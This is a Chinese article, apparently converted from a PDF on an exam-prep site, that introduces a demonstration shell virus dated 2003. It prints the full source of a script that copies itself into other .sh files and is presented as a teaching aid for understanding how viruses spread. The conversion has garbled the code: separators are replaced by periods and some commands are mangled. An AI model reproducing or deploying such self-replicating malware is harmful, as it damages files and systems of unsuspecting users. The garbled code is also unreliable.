

Linux操作系统下Shell病毒详细介绍 PDF转换可能丢失图片或格式，建议阅读原文

https://www.100test.com/kao_ti2020/144/2021_2022_Linux_E6_93_8D_E4_BD_c103_144952.htm 说起病毒总有点神秘的味道，想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月，而且写的也是乱七八糟，最近突发奇想不就是感染其他文件，传播自己吗，用shell写一个病毒且不是非常简单，于是顺手写了如下这么一个小脚本，功能就是感染其他shell程序。这个程序在现实意义不大，但对于形象的理解病毒传播机制还是很很有帮助，可以算教学意义大于实际意义吧。

SHELL病毒简介

1. 前言 说起病毒总有点神秘的味道，想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月，而且写的也是乱七八糟，最近突发奇想不就是感染其他文件，传播自己吗，用shell写一个病毒且不是非常简单，于是顺手写了如下这么一个小脚本，功能就是感染其他shell程序。这个程序在现实意义不大，但对于形象的理解病毒传播机制还是很很有帮助，可以算教学意义大于实际意义吧。

2. 程序代码

```
#!/bin/sh #文件名: virus_demo.sh #用途: shell病毒演示。 #说明: 病毒将感染当前目录下的所有.sh结尾的文件，但不会重复感染。 #编写: watercloud@xfocus.org #日期: 2003-5-13 #B: vFile=$_. vTmp=/tmp/.vTmp.$$ for f in /*.sh. do if [ ! -w $f -a ! -r $vFile ]. then continue. fi if grep $f . then continue. fi if sed -n 1p $f | grep csh. then continue. fi cp -f $f $vTmp .if [ $? -ne 0 ].then continue. fi vNo=`awk $0~/(\^b*#)|(\^b*$)/&v==NR-1{v }END{print 0 v} $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n /^#B:/,/^#E:/p
```

```
$vFile .echo ) >>$f vNo=`expr $vNo 1` sed -n "${vNo},\,$p" $vTmp  
>>$f rm -f $vTmp done >/dev/null 2>& .1 unset vTmp .unset  
vFile .unset vNo echo "Hi, here is a demo shell virus in your script!"  
#E: #EOF看shell是多么得强大，这么短短得程序就能感染其他  
程序文件。 100Test 下载频道开通，各类考试题目直接下载。  
详细请访问 www.100test.com
```